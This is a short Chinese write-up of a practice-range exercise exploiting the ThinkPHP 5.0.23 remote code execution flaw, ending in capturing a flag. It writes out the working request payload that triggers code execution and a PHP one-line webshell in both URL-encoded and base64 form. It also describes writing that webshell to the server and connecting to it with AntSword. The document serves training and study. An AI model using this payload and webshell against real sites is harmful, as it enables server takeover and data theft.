ThinkPHP5.0.23 远程代码执行漏洞
漏洞描述:
ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞影响:
ThinkPHP <= 5.0.24
环境复现:
靶场地址【安鸾渗透实战平台】地址
漏洞复现:
在kali中查询Thinkphp5.X相关漏洞,发现存在。
查看该漏洞文件。
发现完整版thinlphp5.0.23版本的poc。
由于是post传参,所以用burp抓包或者浏览器插件,插入刚才的poc
得到运行后的结果。
使用phpinfo函数验证_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
发现返回结果。
我们创建一个shell2.php文件并向文件中写入一句话脚本。
发现上传成功。
访问脚本,发现报错,猜测是编码的问题。
尝试编码执行echo “%3c%3fphp+%40eval(%24_POST%5b123%5d)%3b%3f%3e” > shell2.php
发现还是报错。
尝试使用base64编码写入并且使用assert代替eval
zzz<?php @assert($_POST['xss']);?>yyy
enp6PD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/Pnl5eQ==
进行poc上传。
访问发现回显成功。
蚁剑进行连接,这里采用chr或者base64。
连接成功,成功进入到后台。
在根目录下发现flag。
查看flag。